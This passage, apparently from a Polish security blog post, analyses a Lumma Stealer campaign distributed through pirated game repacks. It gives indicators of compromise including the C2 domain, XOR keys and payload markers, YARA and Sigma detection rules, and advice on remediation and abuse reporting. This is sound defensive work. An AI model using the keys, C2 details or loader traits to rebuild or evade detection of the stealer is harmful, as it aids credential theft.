b3f5d7f942c256844ea65cade56ad9f20d183a6eaf316585bcd91871016b10ed sys_config/__init__.py
81dd3cfeab8a5a552566d3eb080f4612316c62e3b88108e52828ac81857317ad sys_config/sys_check.py
6c45b6ab9609155d658485aff0ec1bb2c2d6e4819236541f98d66290d639f808 sys_config/sys_file.py
f944e6ecfb9d48720b1456bf0c3f4bee9d8ed9bd17e17a6fd5932f8174530695 sys_config/sys_spec.py
Network
kelemet.shop C2 (Cloudflare 104.21.2.102)
bsc-dataseed.binance.org EtherHiding fallback (legit Binance RPC)
in.getclicky.com PPI tracker (abused legit service)
site_id=101501510
sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a
href=S_s800_eb_spr2_75
Markery w pliku .bat
nykwtupq — delimiter stage-2 PowerShell payload
ireoxhsw — delimiter stage-4 DLL payload
Klucze XOR (do statycznego dekodowania)
.FOG metadata: 81034149cd6f48c8821340204f92766e (32 B)
JC7bjuLJVcUQ.Dm: GBgajI4mv3q (11 B)
stage 2 → 3: 2407A6C7C7FFEF49868D6BD14FAF062EB995F06549D343BFEA36D467717A1487 (32 B)
stage 3 → 4: 975CF32BDE9524B3CF395E40B049A4BF9288DB494571837C82F4054183605BEF (32 B)
Charakterystyczne ścieżki w runtime
%TEMP%\tmp-#####-############\ (run dir loadera, ##### = 5 digits, 12 alnum)
%LOCALAPPDATA%\Temp\__PSScriptPolicyTest_*.ps1 (PSScript policy probe — PowerShell engine artifact)
Detekcja
Reguła YARA (na stage 1 .bat)
rule LummaC2_RenPy_BatchDropper_2026 {
meta:
description = "Lumma Stealer batch dropper from Ren'Py game lure"
author = "cyberowi.pl"
date = "2026-05-13"
family = "LummaC2"
reference = "https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/"
hash = "4f63bf28e5cac2fbbf581d71137877d384ebefebf6695a8dedfab10183f083d0"
strings:
$marker1 = "nykwtupq" ascii
$marker2 = "ireoxhsw" ascii
$headless = "conhost.exe\" --headless" ascii nocase
$sysnative = "Sysnative\\conhost" ascii nocase
$alphabet = "BunFtedA.GMwg73" ascii
$sub1 = ":#D=;%" ascii
$sub2 = ":#Q='%" ascii
$sub3 = ":#Z=(%" ascii
$wp_label = /:_WP_[0-9a-f]{4}_(UserAudit|ConfigParse|NetCheck|PSVersion|SvcHealth|DefenderCheck)/
condition:
(uint8(0) == 0x40 or uint8(0) == 0x72) and // @ or r
filesize > 1MB and filesize < 10MB and
2 of ($marker*) and
2 of ($sub*) and
$alphabet and
($headless or $sysnative) and
#wp_label > 100
}
Reguła Sigma (Sysmon Event ID 1)
title: Conhost Headless Launching cmd.exe (LummaC2 TTP)
id: a1f3d2e8-7c44-4e89-9d4f-2b5e9a3c4d12
status: experimental
description: >
Conhost.exe launched with --headless flag re-executing a batch file.
Pattern strongly associated with Lumma Stealer's RenPy distribution.
references:
- https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\conhost.exe'
CommandLine|contains|all:
- '--headless'
- 'cmd.exe'
- '/c'
filter:
# Legitimate use is rare. Allow-list specific developer tools if needed.
ParentImage|endswith:
- '\WindowsTerminal.exe'
- '\msbuild.exe'
condition: selection and not filter
level: high
tags:
- attack.execution
- attack.t1059
- attack.defense-evasion
- attack.t1564.003
Reguła Sigma (Sysmon Event ID 3 — network)
title: PowerShell Downloading NuGet Roslyn Packages at Runtime
id: b2d4f7a9-1e34-4b89-a82c-7f3e8d29b4f5
status: experimental
description: >
PowerShell.exe directly fetching Microsoft.CodeAnalysis NuGet packages.
Legitimate Roslyn use happens through dotnet.exe / msbuild.exe; PowerShell
pulling .nupkg from api.nuget.org is a hallmark of in-memory C# compilation
loaders (LummaC2, SectopRAT 2025).
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith: '\powershell.exe'
DestinationHostname|contains:
- 'api.nuget.org'
- 'globalcdn.nuget.org'
condition: selection
level: high
tags:
- attack.execution
- attack.t1105
- attack.command-and-control
Reguła Sigma (network — BSC RPC z workstation)
title: Workstation Process Talking to BSC RPC (Possible EtherHiding C2)
id: c3e5d8b1-2f45-4c91-b93d-8a4f9e3c5d23
description: >
Endpoint (non-developer) process making request to bsc-dataseed.binance.org
or other public BSC/ETH RPC nodes. Used by malware for EtherHiding C2
resolution (Lumma, SectopRAT, ClearFake).
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationHostname|contains:
- 'bsc-dataseed.binance.org'
- 'bsc-dataseed1.defibit.io'
- 'bsc-dataseed1.ninicoin.io'
- 'rpc.ankr.com/bsc'
- 'mainnet.infura.io'
filter_dev:
Image|endswith:
- '\node.exe'
- '\python.exe'
- '\hardhat.exe'
- '\truffle.exe'
- '\brave.exe'
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
condition: selection and not filter_dev
level: high
tags:
- attack.command-and-control
- attack.t1568
Co zrobić, jeśli odpaliłeś
Jeśli Setup.exe z paczki został uruchomiony — zakładaj kompromitację. Plan minimum, w tej kolejności:
- Z drugiego (czystego) urządzenia (telefon w trybie incognito wystarczy) zmień hasło do głównego e-maila — wszystko inne wisi na nim. Włącz MFA z aplikacji/klucza U2F (nie SMS).
- Po e-mailu: konta bankowe, krypto giełdy, password manager, Microsoft/Google/Apple ID, Steam, Discord, Telegram (zwłaszcza — Lumma kradnie
tdatai przejmuje sesję na zawsze, dopóki nie ubijesz wszystkich aktywnych sesji z poziomu „Active sessions”). - Sprawdź
%TEMP%\tmp-#####-############\— folder run-time stealera. - Defender Offline Scan (
mpcmdrun -Scan -ScanType 2 -BootloaderScan) + Malwarebytes na bootcie. - Najlepiej: reinstall Windows z reset+clean — Lumma czasem zostawia persystencję której nie widać (rootkit-style hooks w userland sesji).
- Po 24h sprawdź konta — jeśli Twoje dane już są na rynkach (Russian Market, 2easy), karty/wallety/Steam mogą próbować się przelogować z dziwnych GEO. Wszystkie powiadomienia o nowych logowaniach → eskalacja.
Co zrobić ze sample’em
- Zgłoszenie do Cloudflare: https://abuse.cloudflare.com/phishing, kategoria „Malware (Command and Control)”, domena
kelemet.shop. - Zgłoszenie do rejestratora:
abuse@globaldomaingroup.com. - CERT Polska:
cert@cert.pl— aktywna kampania, polski klient. - Roxr Software (twórca Clicky): zgłoś nadużycie
site_id=101501510, hash26e2086e86ebc9adc9f90bfd86f9f05a— powinni wyłączyć konto. - Upload sample do społecznościowych baz: MalwareBazaar, URLhaus, ThreatFox. Każde z nich akceptuje submitter-attribution; przy okazji to wpis w portfolio.
Trzy systemowe obserwacje
Zanim przejdziemy do konkretnych działań — trzy myśli, które warto przenieść do polityk SOC:
1. Legalne CDN-y są teraz wektorem loaderów. api.nuget.org, globalcdn.nuget.org, GitHub Releases, jsdelivr, raw.githubusercontent.com — wszystkie są nadużywane jako CDN dla drugiej i trzeciej fazy malware. Blokowanie domen nie zadziała; trzeba blokować kontekst (PowerShell wołający NuGet to anomalia, dotnet.exe wołający NuGet to norma).
2. conhost.exe --headless to LOLBin do ukrywania okna konsoli. Microsoft-podpisany, Defender go nie wykrywa. Reguła Sysmona na --headless cmd.exe daje nisko-szumową detekcję — prawie zero legitnych przypadków poza Windows Terminal i MSBuild.
3. EtherHiding zmienia ekonomię takedown’ów. Klasyczne procedury (Cloudflare abuse, abuse u rejestratora) działają na pierwszej warstwie C2, ale nie na łańcuchu BSC. Długoterminowa obrona musi obejmować blokadę publicznych węzłów RPC z endpointów (ich legitne użycie poza maszynami deweloperskimi jest praktycznie zerowe).
Wnioski — co zrobić jutro rano
Dla zespołu SOC (30 minut)
- Skopiuj trzy reguły Sigma z sekcji Detekcja do SIEM/EDR —
conhost --headless, PowerShell→NuGet, BSC RPC z endpointu. - Dorzuć
kelemet.shop(i całą listę domen*.shop< 30 dni od rejestracji) do blocklisty DNS lub Cloudflare Gateway. - Przeszukaj telemetrię procesów za ostatnie 14 dni pod kątem
conhost.exe --headless cmd.exe /c— jeśli coś znajdziesz, to nie ćwiczenie, to real incident response.
Dla CISO i działu compliance (1 godzina)
- Polityka endpoint EDR: blokuj uruchamianie EXE pobranych ze źródeł niezatwierdzonych (allowlist Steam/GOG/Itch.io + wewnętrzny katalog software’u).
- Komunikat do pracowników: Fitgirl/DODI/inne repacki to nie „darmowa gra”, to wektor exfiltracji. Plus jednoznaczna zasada: gry osobiste — nie na laptopie firmowym.
- Tabletop exercise: scenariusz „pracownik odpalił Setup.exe z paczki znalezionej online”. Kto reaguje, w jakim czasie, jak komunikujemy do RODO/UODO (72h), kto zmienia hasła firmowe ofiary.
Dla użytkownika domowego (5 minut)
- Nie odpalaj EXE z nieznanych źródeł. Steam/GOG/Itch.io to jedyne źródła, którym warto ufać dla gier. Pirackie repacki nie są darmowe — płaci się hasłami i kryptem.
- Włącz Microsoft Defender Cloud-Delivered Protection (Settings → Privacy & Security → Windows Security → Virus & threat protection → Manage settings → ON). Świeże próbki dostają detekcje w godzinach, nie dniach.
- Klucz YubiKey lub passkey na e-mail główny i bank — jeśli stealer wykradnie hasło, drugi czynnik go nie wpuści.
Materiały referencyjne
- Sandbox report (Triage): https://tria.ge/260513-k9yf9sfy9s/behavioral1
- Hash do MalwareBazaar / VirusTotal:
4f63bf28e5cac2fbbf581d71137877d384ebefebf6695a8dedfab10183f083d0 - Pełne IoC w formacie SOC: sekcja IoC do MISP / SOC
Sample celowo nie jest udostępniony publicznie — analiza zawiera wszystkie hashe i klucze potrzebne do reprodukcji, ale jeśli rzeczywiście pracujesz w SOC i potrzebujesz binarki do regresji własnych reguł, napisz do redakcji z weryfikowalnym adresem służbowym.
Pytania, poprawki, korekta — kontakt przez stronę cyberowi.pl, e-mail cyberowi@protonmail.com lub Mastodon @cyberowy@mastodon.social. Korekty dopisujemy wprost do artykułu z timestampem.
// Komentarze ...
Dodaj komentarz